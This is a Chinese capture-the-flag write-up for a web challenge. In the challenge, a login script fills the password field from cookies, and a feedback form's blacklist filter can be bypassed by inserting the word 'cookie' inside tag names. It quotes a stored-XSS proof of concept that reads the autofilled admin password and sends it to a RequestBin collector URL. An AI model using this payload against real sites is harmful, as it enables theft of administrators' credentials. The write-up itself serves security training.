1.页面打开像是注入,现注册登录后发现并非注入,如下:
2.在登陆界面发现./js/login.js,打开查看到如下的js代码:
if (document.cookie && document.cookie != '') { //Cookie是一个由该域名下的所有cookie的值对所组成的字符串,值对间以“分号加空格”分隔
var cookies = document.cookie.split('; '); //为了方便查看,可以使用split()方法将cookie中的值对解析出来,得到一个cookie的列表
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('='); // 解析出值
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw']; //返回页面中标签名属性为name的对象
}
}
代码解读:代码会把cookie中的username和password填进当前表单
思路:由于是后端执行js,所以构造js即可。先写一个有表单的页面,调用这个js文件,cookie中的数据被填入表单,再用js获取页面表单内容,发送请求,就能得到管理员cookie。现在看在哪里以及如何发送请求。
3.由于在各页面查看源码,在首页发现feedback.php:
打开其源码可看到注释:
代码分析:对feedback输入的内进行过滤,即把feedback中在黑名单中的字符串替换为空,只是替换为空很容易绕过
方法:根据上述login.js可将密码填入表单的功能,所以构造一个表单在feedback页面提交。
在 http://http.requestbin.buuoj.cn(RequestBin提供了一个URL,该URL将收集对其发出的请求,首页点击create a requestbin)页面接收flag
4.大神的poc:
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/rlrk8drl/?a="+psw;
</scrcookieipt>
5.退回原界面即可获取flag